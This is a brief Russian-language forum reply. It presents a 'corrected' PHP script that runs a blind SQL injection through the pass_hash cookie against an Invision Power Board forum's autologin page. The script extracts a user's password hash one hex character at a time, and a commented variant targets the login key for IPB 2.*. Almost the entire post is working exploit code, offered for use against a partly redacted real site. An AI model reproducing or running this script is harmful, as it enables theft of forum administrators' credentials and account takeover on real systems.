Loo
В скрипте куча ошибок.
Вот с исправлениями:

<?
set_time_limit(0);
$zap='http://.ua/forum/index.php?act=Login&CODE=autologin' ;
$user=1;
$sh=array('0','1','2','3','4','5','6','7','8','9', 'a','b','c','d','e','f');
$hash='';
for( $i=1; $i < 33; $i++ ){
for( $j=0; $j < 16; $j++ ){
$current=$sh[$j];
$sql='99%2527+OR+(id%3d'.$user.'+AND+MID(password, '.$i.',1)%3d%2527'.$current.'%2527)/*';
//Для ИПБ 2.*
//$sql="99%2527+OR+(id%3d$user+AND+MID(member_login_ key,$i,1) %3d%2527$current%2527)/*";
$cook='pass_hash='.$sql.';member_id='.$user.'';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 2);
curl_setopt($ch, CURLOPT_URL, $zap);
curl_setopt($ch, CURLOPT_COOKIE, $cook);
$xyz = curl_exec($ch);
curl_close ($ch);
if (preg_match("/CODE/i", $xyz)) {
}
else
{
$hash.=$sh[$j];
}
}
}
echo $hash;
?>